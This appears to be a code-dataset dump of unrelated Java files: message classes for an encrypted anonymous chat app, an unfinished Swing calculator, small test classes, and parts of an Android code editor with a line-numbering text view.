code stringlengths 3 1.18M | language stringclasses 1 value |
|---|---|
package anonymouschat.messages;
import java.io.Serializable;
import anonymouschat.utils.Print;
/**
* This is the case class for all messages.
*
* @author bh349
*/
public abstract class Message implements Serializable {
private static final long serialVersionUID = -1954148520479694286L;
protected Message() {
Print.debug("Creating a new message: " + this.toString());
};
/**
* @return a string of all printable message contents
*/
public abstract String getAllContents();
/**
* Converts a null object to an empty string object
*
* @param obj
* an object to be checked
* @return
*/
protected Object fixNull(Object obj) {
if (obj == null) {
return "";
} else
return obj;
}
}
| Java |
package anonymouschat.messages.securitymessages;
/**
* This is a message that is encrypted by AES.
*
* @author bh349
*
*/
public class AESEncryptedMessage extends EncryptedMessage {
private static final long serialVersionUID = 7780919202912617641L;
public AESEncryptedMessage(byte[] encryptedData) {
super(encryptedData);
}
@Override
public String getAllContents() {
return "Encrypted AESMessage";
}
}
| Java |
package anonymouschat.messages.securitymessages;
import anonymouschat.messages.Message;
import anonymouschat.messages.TextMessage;
import anonymouschat.security.integrity.DigSig;
/**
* This is the message that an end user receives. The client can check the
* integrity by verifying the signature.
*
* @author bh349
*
*/
public class TextMessageWithSig extends Message {
private static final long serialVersionUID = -1147387240878367153L;
private TextMessage textMessage;
private DigSig signature;
public TextMessageWithSig(TextMessage msg, DigSig signature) {
super();
textMessage = msg;
this.signature = signature;
}
public TextMessage getTextMessage() {
return textMessage;
}
public DigSig getSignature() {
return signature;
}
@Override
public String getAllContents() {
return "Text message with digsig";
}
}
| Java |
package anonymouschat.messages.securitymessages;
import java.io.Serializable;
import anonymouschat.messages.Message;
/**
* This is a base class for Encrypted Messages.
*
* {@link RSAEncryptedMessage} and {@link AESEncryptedMessage} are derived
* classes.
*
* @author bh349
*
*/
public class EncryptedMessage extends Message implements Serializable {
private static final long serialVersionUID = 1127682593769464962L;
private byte[] encryptedData;
public byte[] getEncryptedData() {
return encryptedData;
}
public EncryptedMessage(byte[] encryptedData) {
this.encryptedData = encryptedData;
}
@Override
public String getAllContents() {
return "Encrypted Message";
}
}
| Java |
package anonymouschat.messages.securitymessages;
import anonymouschat.client.PublicIdentity;
/**
* This is a message that is encrypted by RSA.
*
* @author bh349
*
*/
public class RSAEncryptedMessage extends EncryptedMessage {
private static final long serialVersionUID = 1L;
private String destUserName;
private String srcUserName;
private PublicIdentity publicIdentity;
private boolean goingUp = true;
/**
* Construct an RSAEncryptedMessage using encrypted data and target user
* name.
*
* @param encryptedData
* @param dstUserName
*/
public RSAEncryptedMessage(byte[] encryptedData, String dstUserName,
PublicIdentity srcUser) {
super(encryptedData);
this.destUserName = dstUserName;
this.srcUserName = srcUser.getUserName();
this.publicIdentity = srcUser;
}
public String getDstUserName() {
String temp = destUserName;
return temp;
}
public String getSrcUserName() {
String temp = srcUserName;
return temp;
}
public PublicIdentity getPublicIdentity() {
PublicIdentity temp = publicIdentity;
return temp;
}
@Override
public String getAllContents() {
return "Encrypted RSAMessage";
}
public void setGoingUpFalse() {
this.goingUp = false;
}
public boolean isGoingUp() {
return this.goingUp;
}
}
| Java |
package anonymouschat.messages;
import javax.crypto.SecretKey;
/**
* A message containing a secret shared 128-bit AES key
*
* @author jjmande
*
*/
public class AESkeyMessage extends Message {
private static final long serialVersionUID = 5674590802328543696L;
public SecretKey sharedAESKey;
@Override
public String getAllContents() {
return "AESkeyMessage secret key";
}
}
| Java |
package anonymouschat.messages;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.spec.IvParameterSpec;
import anonymouschat.messages.clientrequests.UserLoginRequest;
import anonymouschat.security.SecurityUtils;
import anonymouschat.utils.Constants;
import anonymouschat.utils.Print;
public class EncryptedMessageWrapperMessage extends Message implements
Serializable {
private static final long serialVersionUID = -5438981469645327144L;
private String nextHop;
private byte[] encryptedMessage;
private boolean isAsymmetricEnc; // Is encrypted Asymetrically (pub/priv) or
// with Symmetric Key
private byte[] iv;
private Long connectionNumber = null;
private UserLoginRequest login = null;
private int direction = Constants.UPSTREAM;
private boolean usePersistentRoute = true;
/**
* Wraps an object in encryption
*
* @param enc
* a cipher engine
* @param messageToWrap
* a user message
* @throws IllegalBlockSizeException
* @throws BadPaddingException
* @throws IOException
*/
public EncryptedMessageWrapperMessage(Cipher enc,
Serializable messageToWrap, boolean isAsymmetricEnc)
throws IllegalBlockSizeException, BadPaddingException, IOException {
Print.debug("Adding a layer of encryption to: "
+ messageToWrap.toString());
this.isAsymmetricEnc = isAsymmetricEnc;
byte[] unencryptedByteArray = SecurityUtils
.objectToByteArray(messageToWrap);
if (isAsymmetricEnc) {
// If the messageToWrap is larger than bytes when serialized
// Break it up into parts MAX_ENC_SEGMENT_BYTES bytes long, encrypt
// with RSA & concatenate the encrypted chunks
// This will be detected and reversed on the other side.
ByteArrayOutputStream bos = new ByteArrayOutputStream();
int offset = 0;
int maxEncLength = Constants.MAX_ENC_SEGMENT_BYTES;
while (offset < unencryptedByteArray.length) {
if (unencryptedByteArray.length - offset < maxEncLength) {
byte[] outputBytes = new byte[unencryptedByteArray.length
- offset];
System.arraycopy(unencryptedByteArray, offset, outputBytes,
0, unencryptedByteArray.length - offset);
bos.write(enc.doFinal(outputBytes));
break;
}
byte[] outputBytes = new byte[maxEncLength];
System.arraycopy(unencryptedByteArray, offset, outputBytes, 0,
maxEncLength);
bos.write(enc.doFinal(outputBytes));
offset += maxEncLength;
}
this.encryptedMessage = bos.toByteArray();
} else {
this.encryptedMessage = enc.doFinal(unencryptedByteArray);
this.iv = enc.getIV();
}
}
public Long getConnectionNumber() {
return connectionNumber;
}
public void setConnectionNumber(long connectionNumber) {
Print.debug("Setting connection number: " + connectionNumber);
this.connectionNumber = connectionNumber;
}
public boolean isAsymmetricEncrypted() {
return isAsymmetricEnc;
}
public IvParameterSpec getIV() {
return new IvParameterSpec(iv);
}
public void setNextHop(String dest) {
nextHop = dest;
}
/**
* Returns the next hop in the anonymized routing chain
*
* @return
*/
public String getNextHop() {
return nextHop;
}
public byte[] getencryptedMessage() {
return encryptedMessage;
}
public void setUserLogin(UserLoginRequest login) {
this.login = login;
}
public UserLoginRequest getUserLogin() {
return login;
}
public boolean isGoingUpstream() {
return (this.direction == Constants.UPSTREAM);
}
public void setDirection(int direction) {
this.direction = direction;
}
public int getDirection() {
return this.direction;
}
private Long incomingId = null;
public boolean goingUp = true;
public void setDownId(Long downId) {
incomingId = downId;
}
public Long getIncomingId() {
return incomingId;
}
public boolean usePersistentRoute() {
return usePersistentRoute;
}
public void setUsePersistentRoute(boolean shouldCreate) {
usePersistentRoute = shouldCreate;
}
@Override
public String getAllContents() {
String ret = "encryptedMessageWrapperMessage:\n\t";
ret += "nextHop: " + super.fixNull(this.nextHop)
+ "\n\tisAsymmetricEnc: " + fixNull(this.isAsymmetricEnc)
+ "\n\tconnNum: " + fixNull(this.connectionNumber)
+ "\n\tdirection: " + fixNull(this.direction);
return ret;
}
}
| Java |
package anonymouschat.messages;
import java.io.Serializable;
/**
* Only client end user receives the plain text message.
*
* @author bh349
*
*/
public class TextMessage extends Message implements Serializable {
private static final long serialVersionUID = 3013551852027023617L;
private String srcUser;
private String destinationUser; // User to which the message will be
// delivered
private String plaintextData; // Payload containing plaintext message
private boolean goingUp;
private Long incomingId = null;
/**
* Construct a TextMessage
*
* @param srcUser
* @param destinationUser
* @param plaintextData
* @param signature
* @param goingUp
*/
public TextMessage(String srcUser, String destinationUser,
String plaintextData) {
super();
this.srcUser = srcUser;
this.destinationUser = destinationUser;
this.plaintextData = plaintextData;
this.goingUp = true;
}
public String getSrcUser() {
return srcUser;
}
public String getDstUser() {
return destinationUser;
}
public String getPlaintextData() {
return plaintextData;
}
public void setDownId(Long downId) {
incomingId = downId;
}
public Long getIncomingId() {
return incomingId;
}
/**
* sets isgoingUp to true, meaning it's going upstream to a publication server
* @return
*/
public boolean isGoingUpstream() {
return goingUp;
}
/**
* Sets isGoingUp to false, meaning it's going downstream to a client
*/
public void setGoingUpFalse() {
goingUp = false;
}
@Override
public String getAllContents() {
return "TextMessage: " + "\n\tsrc: " + srcUser + "\n\tdest:"
+ destinationUser + "\n\tdata:" + plaintextData;
}
}
| Java |
package anonymouschat.messages;
import java.io.Serializable;
/**
* This message announces that a server has just started up.
*
* @author bh349
*/
public class ServerAnnounceMessage extends Message implements Serializable {
private static final long serialVersionUID = 2188148542441890727L;
private String name;
public ServerAnnounceMessage(String nameIn) {
this.setName(nameIn);
}
public void setName(String name) {
this.name = name;
}
public String getName() {
return name;
}
@Override
public String getAllContents() {
return "ServerAnnounceMessage: " + this.name;
}
}
| Java |
package anonymouschat.messages;
import anonymouschat.client.PublicIdentity;
/**
* Returned to a client after it requests the public keys for another user.
*/
public class KeyResponse extends Message {
private static final long serialVersionUID = 4975808951447190401L;
/** Id of the user requested (This contains their public keys) */
private PublicIdentity publicIdentity = null;
private String userName = null;
@Override
public String getAllContents() {
return "Contains public keys for " + userName;
}
public KeyResponse(PublicIdentity pubIdent) {
this.publicIdentity = pubIdent;
this.userName = this.publicIdentity.getUserName();
}
/**
* Empty key resp.
*/
public KeyResponse(String dstUserName) {
this.publicIdentity = null;
this.userName = dstUserName;
}
public String getUserName() {
return userName;
}
public PublicIdentity getPublicIdentity() {
return publicIdentity;
}
}
| Java |
package anonymouschat.messages.clientrequests;
import anonymouschat.client.Identity;
/**
* This req is sent when a user is logging out.
*
* @author bh349
*/
public class UserLogoutRequest extends ClientRequest {
private static final long serialVersionUID = 668151726077410297L;
// the current system time used as a timestamp
private long announceTime = 0;
public Identity identity;
byte[] signedRequest;
/**
* Generates a logout request signed by the user logging out
*
* @param fullIdent
* the full identity of the user logging out
*/
public UserLogoutRequest(Identity fullIdent) {
super(fullIdent.getUserName());
this.identity = fullIdent;
}
/**
*
* @return String representing the user identity
*/
@Override
public String getSrcUserName() {
return identity.getUserName();
}
/**
*
* @return the timestamp of the logout announcement
*/
public long getAnnounceTime() {
return this.announceTime;
}
}
| Java |
package anonymouschat.messages.clientrequests;
import anonymouschat.client.Identity;
import anonymouschat.client.PublicIdentity;
import anonymouschat.security.SecurityUtils;
import anonymouschat.security.integrity.DigSig;
/**
* The initial message sent to a server, and the publication server broadcast
* this to all the servers that are alive.
*
* @author bh349
*/
public class UserLoginRequest extends ClientRequest {
private static final long serialVersionUID = -6394737131192996359L;
// the current system time used as a timestamp
private long announceTime = 0;
// the server this client is going to published at
private String publicationServer = null;
// the public keys of this user
private PublicIdentity pubIdent = null;
// the signed combination of the destination server and the time stamp
private DigSig signedTS = null;
/**
*
* @param fullIdent
* the identity of the user logging in
*/
public UserLoginRequest(Identity fullIdent, String wherePublish) {
super(fullIdent.getUserName());
pubIdent = new PublicIdentity(fullIdent);
announceTime = System.currentTimeMillis();
publicationServer = wherePublish;
String signedComponent = getSignedComponent();
signedTS = SecurityUtils.sign(signedComponent,
fullIdent.getSigningKey());
}
public UserLoginRequest(String userID) {
super(userID);
}
public void setAnnounceTime(long announceTime) {
this.announceTime = announceTime;
}
public long getAnnounceTime() {
return announceTime;
}
public void setPublicationServer(String publicationServer) {
this.publicationServer = publicationServer;
}
public String getPublicationServer() {
return publicationServer;
}
public PublicIdentity getPubIdent() {
return pubIdent;
}
public void setPubIdent(PublicIdentity pubIdent) {
this.pubIdent = pubIdent;
}
public DigSig getSig() {
return this.signedTS;
}
/**
* Get the part of the message which is to be signed
*
* @return
*/
public String getSignedComponent() {
return publicationServer + announceTime;
}
@Override
public String getAllContents() {
return "UserLoginRequest:\n\tannounceTime: "
+ super.fixNull(this.announceTime) + "\n\tpubSrv: "
+ super.fixNull(this.publicationServer) + "\n\tUser: "
+ super.fixNull(this.pubIdent.getUserName());
}
}
| Java |
package anonymouschat.messages.clientrequests;
/**
* This request goes to publication server and asks for a target user's public
* key.
*
* @author bh349
*
*/
public class KeyRequest extends ClientRequest {
// the user who's public keys you want
private String targetUserName;
/**
* Asking for another client's public key
*
* @param srcUserName
* String specify the source userID
* @param userName
* String specify the target userID
*
*/
public KeyRequest(String srcUserName, String userName) {
super(srcUserName);
targetUserName = userName;
}
/**
*
* @return < String > the user ID you are requesting the keys of
*/
public String getTargetUserName() {
return targetUserName;
}
private static final long serialVersionUID = 5810767283361800423L;
}
| Java |
package anonymouschat.messages.clientrequests;
import java.io.Serializable;
import anonymouschat.messages.Message;
/**
* This is the base class of all kinds of client requests
*
* @author bh349
*
*/
public class ClientRequest extends Message implements Serializable {
private static final long serialVersionUID = -7443155251263210842L;
private String srcUserName;
public ClientRequest(String userName) {
this.srcUserName = userName;
}
/**
* @return < String > the user name of the client that created this request
*/
public String getSrcUserName() {
return srcUserName;
}
@Override
public String getAllContents() {
return "ClientRequest: \n\tuserName: " + srcUserName;
}
}
| Java |
package model;
import java.util.Observable;
public class Methods extends Observable {
private double result;
public Methods () {
}
public void Add(double value) {
setResult(getResult() + value);
}
public double getResult() {
return result;
}
public void setResult(double result) {
this.result = result;
setChanged(); // Tell the display that the value has changed
}
public void setResult(String value) {
setResult(Double.parseDouble(value));
}
}
| Java |
package model;
import java.util.Observable;
public class function extends Observable {
public int v1, v2, result;
public void add() {
result = v1 + v2;
setChanged(); // Tell the display that the value has changed
}
public void sub() {
result = v1 - v2;
setChanged(); // Tell the display that the value has changed
}
public void mul() {
result = v1 * v2;
setChanged(); // Tell the display that the value has changed
}
public void div() {
result = v1 / v2;
setChanged(); // Tell the display that the value has changed
}
}
| Java |
package view;
import java.awt.*;
import javax.swing.*;
public class gui {
JFrame frame;
JPanel panel;
JTextField textfield;
JButton b0, b1, b2, b3, b4, b5, b6, b7, b8, b9, add, sub, mul, div, equal,
clear;
Color color;
public gui() {
color = new Color(0, 0, 0);
frame = new JFrame();
frame.setBackground(color);
frame.setLayout(new BorderLayout());
panel = new JPanel();
panel.setLayout(new GridLayout(4,4));
textfield = new JTextField();
textfield.setSize(50, 20);
b0 = new JButton("0");
b1 = new JButton("1");
b2 = new JButton("2");
b3 = new JButton("3");
b4 = new JButton("4");
b5 = new JButton("5");
b6 = new JButton("6");
b7 = new JButton("7");
b8 = new JButton("8");
b9 = new JButton("9");
add = new JButton("+");
sub = new JButton("-");
mul = new JButton("*");
div = new JButton("/");
equal = new JButton("=");
clear = new JButton("c");
panel.add(b1);
panel.add(b2);
panel.add(b3);
panel.add(add);
panel.add(b4);
panel.add(b5);
panel.add(b6);
panel.add(sub);
panel.add(b7);
panel.add(b8);
panel.add(b9);
panel.add(mul);
panel.add(clear);
panel.add(b0);
panel.add(equal);
panel.add(div);
frame.add(textfield, BorderLayout.NORTH);
frame.add(panel, BorderLayout.CENTER);
frame.setSize(400,400);
frame.setVisible(true);
}
}
| Java |
package view;
import javax.swing.*;
public class Number extends JButton {
/**
*
*/
private static final long serialVersionUID = 1L;
public Number(int value) {
new JButton();
setText(""+value);
}
}
| Java |
package view;
import java.util.Observable;
import java.util.Observer;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import model.Methods;
import model.function;
public class Display extends JTextArea implements Observer {
/**
*
*/
private static final long serialVersionUID = 1L;
private Methods operator;
public Display(Methods operator) {
new JTextField();
this.operator = operator;
}
public Display(String value) {
new JTextField(value);
}
public void update(Observable arg0, Object arg1) {
this.setText("" + operator.getResult());
}
}
| Java |
package view;
import java.util.HashMap;
import java.util.Map;
import javax.swing.*;
public class Operator extends JButton {
/**
*
*/
private static final long serialVersionUID = 1L;
Map<String, Operator> operator;
public Operator() {
operator = new HashMap<String, Operator>();
generateOperators();
}
public Operator(String value) {
new JButton();
setText(""+value);
}
public void generateOperators() {
operator.put("add", new Operator("+"));
operator.put("sub", new Operator("-"));
operator.put("mult", new Operator("*"));
operator.put("div", new Operator("/"));
operator.put("equal", new Operator("="));
operator.put("clear", new Operator("C"));
}
}
| Java |
package view;
import java.awt.BorderLayout;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JFrame;
import javax.swing.JPanel;
import model.Methods;
import model.function;
public class Window extends JFrame implements ActionListener {
/**
*
*/
private static final long serialVersionUID = 1L;
private Display display;
private Number[] numbers;
private Operator operators;
private Methods op;
private boolean
public Window (Methods op) {
this.op = op;
display = new Display(this.op); // The Display
op.addObserver(display);
numbers = new Number[10]; // We need 10 Numbers
operators = new Operator();
JPanel panelNumbers = new JPanel(); // Numbers Panel
panelNumbers.setLayout(new GridLayout(3,3));
// Generate the Number Buttons and add them to the panel.
for(int i=1; i<=9; i++) {
numbers[i] = new Number(i);
panelNumbers.add(numbers[i]);
numbers[i].addActionListener(this);
}
JPanel panelOperators = new JPanel(); // Operators Panel
panelOperators.setLayout(new GridLayout(0,1));
// Adding the Operators
for (Operator value : operators.operator.values()) {
panelOperators.add(value);
value.addActionListener(this);
}
this.add(display, BorderLayout.NORTH);
this.add(panelNumbers, BorderLayout.CENTER);
this.add(panelOperators, BorderLayout.EAST);
this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
this.setSize(400,400);
this.setVisible(true);
}
public void actionPerformed(ActionEvent e) {
if(e.getActionCommand().matches("\\d")) { // Check if Numbers
display.append(e.getActionCommand().toString());
}
else {
}
//
// if(secondValue && operation.equals("+")) {
// op.v2 = Integer.parseInt(display.getText());
//// System.out.println(op.v2);
// op.add();
// }
//
// if(e.getActionCommand().matches("\\D") && !e.getActionCommand().matches("=")) { // check if Operators
// op.v1 = Integer.parseInt(display.getText());
// secondValue = true;
// operation = e.getActionCommand().toString();
//// System.out.println(op.v1);
// display.setText("0");
// }
//
// if(e.getActionCommand().matches("=")) {
// op.notifyObservers();
//// System.out.println(op.result);
// }
}
}
| Java |
public class Test {
// Hi
}
| Java |
package annuaireapp;
public class Personne {
// c'est notre commencer le projet
/// 1234
///Sadier
//coucou pthesamone 2
public static void main(String[] are){
System.out.println("Hello");
}
}
| Java |
package com.anon_soft.anon_edit;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.List;
import android.app.Fragment;
import android.net.Uri;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.text.Editable;
import android.util.Log;
public class CodeEditFragment extends Fragment {
private String TAG = "CodeEditFragment";
private Uri m_fUri;
private ViewGroup cont;
private CharSequence text;
private int m_id;
private boolean m_hasBeenEditedSinceLastSave;
private ASEditText m_asedittext;
static CodeEditFragment newInstance(int id)
{
CodeEditFragment c = new CodeEditFragment();
Bundle args = new Bundle();
args.putInt("m_id", id);
c.setArguments(args);
Log.i("CodeEditFragment", "SFFFF | newInstance | c.getArguments().getInt() = " + c.getArguments().getInt("m_id"));
return c;
}
@Override
public void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
if ( savedInstanceState != null )
{
m_id = savedInstanceState.getInt("m_id");
}
else
{
Log.i(TAG, "FFFFF | onCreate | savedinstanceState is NULL!" );
}
Log.i(TAG, "FFFFF | onCreate | m_id = " + m_id);
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
super.onCreateView(inflater, container, savedInstanceState);
View v = inflater.inflate(R.layout.codeeditlayout, container, false);
cont = container;
m_asedittext = ((ASEditText) v.findViewById(R.id.codeEditText));
if ( text != null )
m_asedittext.setText(text);
else
m_asedittext.setText("");
if ( savedInstanceState != null )
Log.i(TAG, "FFFFF | onCreateView | savedInstanceState.getInt() = " + savedInstanceState.getInt("m_id"));
else
Log.i(TAG, "FFFFF | onCreateView");
return v;
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
Log.i(TAG, "FFFFF | onDestroy");
}
@Override
public void onPause() {
// TODO Auto-generated method stub
super.onPause();
Log.i(TAG, "FFFFF | onPause");
}
@Override
public void onResume() {
// TODO Auto-generated method stub
super.onResume();
Log.i(TAG, "FFFFF | onResume");
}
@Override
public void onStop() {
// TODO Auto-generated method stub
super.onStop();
Log.i(TAG, "FFFFF | onStop");
}
@Override
public void onSaveInstanceState(Bundle outState) {
// TODO Auto-generated method stub
super.onSaveInstanceState(outState);
Log.i(TAG, "FFFFF | onSaveInstanceState");
}
public boolean doesASEditTextNeedToBeSaved()
{
return m_asedittext.needToBeSaved();
}
public boolean saveASEditText()
{
File f = new File(m_fUri.getPath());
OutputStream out = null;
if ( f == null )
{
Log.w(TAG, "saveASEditText - f was null!");
return false;
}
if ( f.canWrite() == false )
{
Log.w(TAG, "saveAsEditText - f.canWrite() is false!");
return false;
}
try
{
out = new BufferedOutputStream(new FileOutputStream(f));
if ( out != null )
{
out.write(m_asedittext.getText().toString().getBytes());
out.close();
}
else
{
Log.w(TAG, "saveAsEditText - out is null!");
}
}
catch (IOException e)
{
Log.e(TAG, e.toString());
}
return true;
}
public boolean openASEditText()
{
File f = new File(m_fUri.getPath());
InputStream in = null;
if ( f == null )
return false;
if ( f.canRead() == false )
return false;
try
{
in = new BufferedInputStream(new FileInputStream(f));
}
catch (IOException e)
{
Log.e(TAG, e.toString());
}
return true;
}
/**
* Checks to see if the passed file Uri exists or not
* @param fUri The Uri of a file
* @return If the passed Uri exists it returns true, otherwise it returns false
*/
public boolean fileUriExists(Uri fUri)
{
File f;
boolean exists;
if ( fUri == null )
return false;
f = new File(fUri.getPath());
exists = f.exists();
return exists;
}
public void setFragmentFileUri(Uri fUri)
{
if ( fUri == null )
return;
m_fUri = fUri;
}
public Uri getFragmentFileUri()
{
return m_fUri;
}
}
| Java |
package com.anon_soft.anon_edit;
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.Rect;
import android.graphics.Region.Op;
import android.util.AttributeSet;
import android.widget.EditText;
import android.util.Log;
public class ASEditText extends EditText {
/* Members */
private boolean m_textHasChanged;
private boolean m_drawLineNumbers;
private boolean m_drawGutterLine;
private boolean m_highlightText;
private int m_gutterSize;
private Rect m_gutterLineRect;
private Paint m_gutterLinePaint;
private Paint m_gutterTextPaint;
private String TAG = "ASEditText";
public ASEditText(Context context) {
super(context);
setDefaults();
}
public ASEditText(Context context, AttributeSet attrs)
{
super(context, attrs);
setDefaults();
}
public ASEditText(Context context, AttributeSet attrs, int defStyle)
{
super(context, attrs, defStyle);
setDefaults();
}
public void setDefaults()
{
m_textHasChanged = false;
m_drawLineNumbers = true;
m_drawGutterLine = true;
m_highlightText = true;
m_gutterSize = 60;
m_gutterLineRect = new Rect();
m_gutterLinePaint = new Paint();
m_gutterTextPaint = new Paint();
m_gutterTextPaint.setTextAlign(Paint.Align.RIGHT);
m_gutterTextPaint.setARGB(255, 255, 0, 0);
m_gutterLinePaint.setARGB(255, 255, 255, 255);
/*
m_gutterLinePaint = new Paint();
m_gutterLinePaint.setARGB(0, 256, 0, 0);
*/
/*
* Set padding for left side to make room for gutter
*/
super.setPadding(m_gutterSize, 5, 5, 5);
super.setHorizontallyScrolling(true);
}
public void acknowledgeChangedText()
{
m_textHasChanged = false;
}
public boolean needToBeSaved()
{
return m_textHasChanged;
}
public void drawLineNumbers(boolean d)
{
m_drawLineNumbers = d;
}
public void drawGutterLine(boolean g)
{
m_drawGutterLine = g;
}
public void setGutterSize(int g)
{
m_gutterSize = g;
}
public void setGutterLineColor(int a, int r, int g, int b)
{
m_gutterLinePaint.setARGB(a, r, g, b);
}
public void setGutterTextColor(int a, int r, int g, int b)
{
m_gutterTextPaint.setARGB(a, r, g, b);
}
public boolean isDrawingLineNumbers()
{
return m_drawLineNumbers;
}
public boolean isDrawingGutterLine()
{
return m_drawGutterLine;
}
public int getGutterSize()
{
return m_gutterSize;
}
/**
* Draw View contents, including some custom items like the gutter line,
* line numbers and text highlighting.
*/
@Override
protected void onDraw(Canvas canvas) {
/* TODO: ASEditText onDraw tasks
*
* + Set the padding so that we have space to draw the gutter
* + Draw the line separator
* + Draw line numbers if desired
* - Clean up code
* - Add comments
* - Add options for object behavior and getters and setters
* - Fix bug on Xoom where the tab fragments get their text jumbled up
* - Implement proper word wrap / line number drawing. Right now EditText
* thinks that wrapping an extended line to the next line counts as an
* additional line!!! We might need to make our line counting code smarter
* (ie. look at actual text content when drawing line numbers)
*/
int lineCount = 0;
Rect drawingRect = new Rect();
Rect originalClipRect = new Rect();
// Draw the super class first
// (Doing this fixed a bug where the gutter line
// wasn't being drawn in some instances)
super.onDraw(canvas);
/*
* Get original clip rect from passed canvas object and
* bring it in by 5 pixels on the top and bottom. This
* was implemented to fix the gutter-line/line-number
* over-draw cosmetic bug.
*/
canvas.getClipBounds(originalClipRect);
drawingRect.set(originalClipRect);
drawingRect.bottom -= 5;
drawingRect.top += 5;
canvas.clipRect(drawingRect, Op.REPLACE);
// Log.i(TAG, "originalClipRect = " + originalClipRect.toShortString());
// Log.i(TAG, "new drawingRect = " + drawingRect.toShortString());
if ( isDrawingGutterLine() )
{
//
// DONE 1) It draws a bit past text area, so we need to calculate the starting and ending position better
// DONE 2) When the text are becomes bigger than the initial size, the line moves. So, we can not use
// this.getHeight() to calculate the length of the line. Need to find something which takes into
// account the amount of text entered.
// Draw gutter line m_gutterSize - 4 from the left of the screen, top to bottom
// Log.i(TAG, "----- this.computeVerticalScrollRange() = " + Integer.toString(this.computeVerticalScrollRange()));
canvas.drawLine(m_gutterSize - 4, 0, m_gutterSize - 4, this.computeVerticalScrollRange(), m_gutterLinePaint);
}
if ( isDrawingLineNumbers() )
{
// Grab total line count
lineCount = this.getLineCount();
// Cycle through every line
for ( int i = 0; i < lineCount; i++ )
{
this.getLineBounds(i, m_gutterLineRect);
canvas.drawText(Integer.toString(i + 1), (float) m_gutterSize - 10,
(float) ((m_gutterLineRect.top + m_gutterLineRect.bottom) / 2 + (m_gutterTextPaint.getTextSize() / 2)),
m_gutterTextPaint);
}
}
// restore standard clip rectangle
canvas.clipRect(originalClipRect, Op.REPLACE);
if ( m_highlightText )
{
highlightText();
}
}
@Override
public boolean onPreDraw() {
return super.onPreDraw();
}
/**
*
*/
private void highlightText()
{
/*
* // Get our EditText object.
EditText vw = (EditText)findViewById(R.id.text);
// Set the EditText's text.
vw.setText("Italic, highlighted, bold.");
// If this were just a TextView, we could do:
// vw.setText("Italic, highlighted, bold.", TextView.BufferType.SPANNABLE);
// to force it to use Spannable storage so styles can be attached.
// Or we could specify that in the XML.
// Get the EditText's internal text storage
Spannable str = vw.getText();
// Create our span sections, and assign a format to each.
str.setSpan(new StyleSpan(android.graphics.Typeface.ITALIC), 0, 7, Spannable.SPAN_EXCLUSIVE_EXCLUSIVE);
str.setSpan(new BackgroundColorSpan(0xFFFFFF00), 8, 19, Spannable.SPAN_EXCLUSIVE_EXCLUSIVE);
str.setSpan(new StyleSpan(android.graphics.Typeface.BOLD), 21, str.length() - 1, Spannable.SPAN_EXCLUSIVE_EXCLUSIVE);
*/
}
/**
* Sets a flag if the text has changed. NOTE: This method might also
* be useful to implement an undo feature!
*/
@Override
protected void onTextChanged(CharSequence text, int start, int before,
int after) {
// TODO Auto-generated method stub
super.onTextChanged(text, start, before, after);
m_textHasChanged = true;
}
}
| Java |
package com.anon_soft.anon_edit;
import android.app.ActionBar;
import android.app.FragmentTransaction;
import android.app.ActionBar.Tab;
public class editActionbarTabListener implements ActionBar.TabListener
{
private CodeEditFragment mFragment;
public editActionbarTabListener(CodeEditFragment fragment)
{
mFragment = fragment;
}
@Override
public void onTabReselected(Tab tab, FragmentTransaction ft) {
}
@Override
public void onTabSelected(Tab tab, FragmentTransaction ft) {
ft.add(R.id.fragmentArea, mFragment, null);
}
@Override
public void onTabUnselected(Tab tab, FragmentTransaction ft) {
ft.remove(mFragment);
}
}
| Java |
package com.anon_soft.anon_edit;
/**
*
* This activity is currently the default activity
* and acts as the edit view.
*
*/
import java.io.File;
import java.io.IOException;
import java.util.Vector;
import android.app.ActionBar;
import android.app.Activity;
import android.app.AlertDialog;
import android.app.Dialog;
import android.app.ActionBar.Tab;
import android.content.DialogInterface;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.util.Log;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
public class AEEditorActivity extends Activity {
private String TAG = "AEEditorActivity";
private String DEFAULT_DIR = "/sdcard";
private Uri mCurrentTabSaveFilePath;
private boolean mExternalStorageAvailable = false;
private boolean mExternalStorageWriteable = false;
private int untitledFileCount = 1;
private ActionBar ab;
// private CodeEditFragment f;
// private CodeEditFragment f2;
// private CodeEditFragment f3;
// Used to store CodeEditFragments for interaction with their
// ASEditText objects
private Vector<CodeEditFragment> tabVector;
/*
* Trying to redo this code to find the following bugs:
*
* - The bundle which includes the passed id in the
* newInstance method in CodeEditFragment does not
* get transferred to the CodeEditFragment object's
* onCreate() method, it just receives NULL. Why!?!?
*
* - Activity recreation makes a mess of the tab contents.
*
*/
@Override
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
ab = getActionBar();
ab.setNavigationMode(ActionBar.NAVIGATION_MODE_TABS);
tabVector = new Vector<CodeEditFragment>();
/* test code
f = CodeEditFragment.newInstance(1);
if ( f.getArguments() == null )
Log.i(TAG, "f.getArguments() is null!");
else
{
Log.i(TAG, "f.getArguments().getInt = " + f.getArguments().getInt("m_id"));
}
f.setRetainInstance(true);
ab.addTab(ab.newTab().setText(R.string.tab1).setTabListener(new editActionbarTabListener(f)));
f2 = CodeEditFragment.newInstance(2);
f2.setRetainInstance(true);
ab.addTab(ab.newTab().setText(R.string.tab2).setTabListener(new editActionbarTabListener(f2)));
f3 = CodeEditFragment.newInstance(3);
f3.setRetainInstance(true);
